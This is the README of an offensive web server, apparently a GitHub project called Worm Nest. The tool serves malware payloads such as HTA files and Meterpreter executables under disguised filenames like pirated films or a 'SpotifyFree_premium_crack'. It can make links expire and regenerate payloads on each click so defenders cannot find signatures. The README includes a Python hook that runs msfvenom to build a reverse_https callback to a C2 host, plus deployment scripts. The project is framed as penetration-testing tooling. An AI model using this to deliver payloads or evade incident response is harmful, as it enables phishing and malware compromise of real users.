Skip to content


Switch branches/tags

Name already in use

A tag already exists with the provided branch name. Many Git commands accept both tag and branch names, so creating this branch may cause unexpected behavior. Are you sure you want to create this branch?

Latest commit


Git stats


Failed to load latest commit information.
Latest commit message
Commit time


A place where worms live and reproduce, but you can't prove it...

A Python3 Flask / SQL-Alchemy Web Server for URL Minification and Manipulated File Serving.

Heavily inspired by @bluscreenofjeff and Cobalt Strike's Web Server (References), a Web Server that does it all!


Access the interface with:


It's pure HTML, no CSS nonsense, no JS engine has been harmed. No AJAX, no cookies, no hassles. Just working HTML.


If we need to:

  • serve an HTA file available at path/to/some/veryevil.hta
  • through some custom link
  • with some filename that is not suspicious
  • that will expire after 5 downloads

we can issue the following GET request to wormnest:

Add URL Aliases

# Splitting the URL parameters for readability
# Unsplit:

This will create an alias URL for the path/to/some/veryevil.hta, making the serving as easy as:


This will serve a file named "fight_club_xvid_1999.hta", and will only last 5 clicks!

Play it again, Johny Guitar

Let's serve the same file, without any expiration, with a random alias (TinyURL style), and a "SergioLeoneCollection_TheGoodTheBadAndTheUgly(1966)_subs-Autoplay.hta" filename.


This will produce an 8 (by default) character, random ASCII string alias, like /J3jcrZqd that will prompt for a SergioLeoneCollection_TheGoodTheBadAndTheUgly(1966)_subs-Autoplay.hta download, and it will contain (of course) the veryevil.hta contents.

Delete URL Aliases

If, for some reason, you need to make the /fight_club_xvid_1999.avi unavailable (some phishing email is getting examined?), then a:


will do! That means that either a 404 Error or a 302 Redirect will occur on access to the URL:


Hooking the GET like never before and the unchecked flag

The above work well for static files. But when Penetration Testing, there is the need to serve payloads that are different from time to time, just to be sure you don't generate any signatures during the assessment. Well, again, as @bluscreenofjeff taught in this blog post, you can generate payloads every some minutes, just in case to be sure that the Incident Response guys will not get what you first served.

But what about, generate a new payload in each click? Meet hooks. Meet the hooker.

As of 0.3.0, the directory hooks/ will contain python hooks, that will run when certain GET requests are issued. Hooks can be imported using the HOOK_SCRIPTS environment variable, and have to be separated by colon (:), Like



This hook reads the request's User-Agent and serves a different alias depending on strings found in it. Supports both HTTP Redirect and Transparent Proxy mode!

Needs Manual Configuration before launching


This hook serves a random file from within a set directory.


Proof-of-Concept per-request payload generator. It uses msfvenom by breaking to a system() shell. Could work with EVER YTH ING (that has non-interactive interface). Beware that (time-to-generate) > (TCP-timeout) = True for some tools...

Needs Manual Configuration before launching


This hook logs a HTTP-Method User-Agent URL for each request. Mostly a proof of concept for stats and measurements.

Breaking down the hooks/ hook:

This hook serves a Meterpreter staged Reverse HTTPS
iteration, created with msfvenom for each new visit
of the triggering URL.
import hooker
import subprocess
import tempfile

MSFVENOM = "msfvenom"    # msfvenom path
C2_HOST = ""    # Returns to localhost: Change this!
C2_PORT = 443

# Staged MetHTTPS
PAYLOAD = "windows/meterpreter/reverse_https"    

# Triggered if the served filename contains the below string:
#   Example: rev_https.msf.exe
trigger_filename = '.msf'

def autogen_msf(filename, request):
    if trigger_filename not in filename:
        return None

    extension = '.' + filename.split('.')[-1]
    fd = tempfile.NamedTemporaryFile('rb', suffix=extension)

    command = f"{MSFVENOM} -p {PAYLOAD} LHOST={C2_HOST} LPORT={C2_PORT} -f exe -o {}"
    print("[!] '{}'".format(command))
    try:, shell=True, check=True)
    except subprocess.CalledProcessError:
        print(f"Failed to execute command: '{command}'")
    return fd

Loading it and running is as easy as HOOK_SCRIPTS=hooks/ python3 Now, to trigger the hook we need a file with .msf in its filename to be aliased. So:


But this returns an error, about non-existing rev_https.msf.exe file. That's why unchecked exists:


Now http://wormnest:8080/msf is accessible, and will return a Meterpreter EXE! Test it with wget http://wormnest:8080/msf!

Meterpreter is a little old fashioned? You can always code your own hooks...

Install - Setup - Deploy

Install with:

git clone   # stick to a git tag for production
cd wormnest
pip install -r requirements

Run with:

$ export [a bunch of Environment Variables] # Skip that for sane defaults (more below)
$ python3

The used Environment Variables and the Sane Defaults

Go to the Project's Wiki Page

For Cobalt Strikers

Generating payloads from the CS client directly to the (remote) Worm Nest deployment is as simple as sshfs to that served directory (SRV_DIR). People tend to forget that scp is by far NOT THE ONLY WAY!

A simple:

mkdir -p ~/cs_payloads
sshfs user@payloadserver:/place/where/wormnest/SRV_DIR/points ~/cs_payloads

and then you can drop artifacts in cs_payloads directory and list them under http://payloadserver:8000/manage/list, ready for aliasing and serving!

A Simple Deployment Scenario

# Generate a big and random Management URI
# Bash-Fu taken from
export MANAGE_URL_DIR="$(head /dev/urandom | tr -dc A-Za-z0-9 | head -c 13 ; echo '')"
echo "$MANAGE_URL_DIR" > $HOME/wormnest_management.key

export REDIRECT_URL=""
export DEFAULT_FILENAME="SpotifyFree_premium_crack" # No file extension here if USE_ORIGINAL_EXTENSION is set!

apt update && apt install -y python3 git # Let's assume Debian

git clone -b <some_tag> --depth 1 # depth 1 for copying just the tagged commit 
cd wormnest
pip3 install -r requirements.txt
echo '{
}' > basic_routes.json
export DEFAULT_PATHS_FILE="basic_routes.json"

mkdir -p ~/generated_payloads/
export SRV_DIR="$HOME/generated_payloads"

tmux new -s wormnest -d 'bash'

Having in mind mass-deployment environments (looking at you Red Baron), such scripts come in handy. In the terraform case, a remote-exec provisioner can replace the need for

Securing your Worm Nest!

There is no authentication for the management endpoint of this service. This effectively means that anyone going under the /manage/ directory will be able to see, add, delete all URL aliases, and list the whole served directory.

Yet, adding authentication, is (at least at this point) out of scope. That's why the MANAGE_URL_DIR exists in the first place. A passwordish string here will prevent anyone (not able to guess it) to reach the management endpoint. A password in the URL sucks (I now), but combined with some HTTPS (needed in case of actual use), and with no Intercepting HTTP Proxy between your host and the Worm Nest deployment you'll be good enough!

Or even hiding the whole wormnest behind an Apache mod_rewrite proxy would also work (and add the desired SSL, while redirecting away the /manage/ attempts).

Have Fun!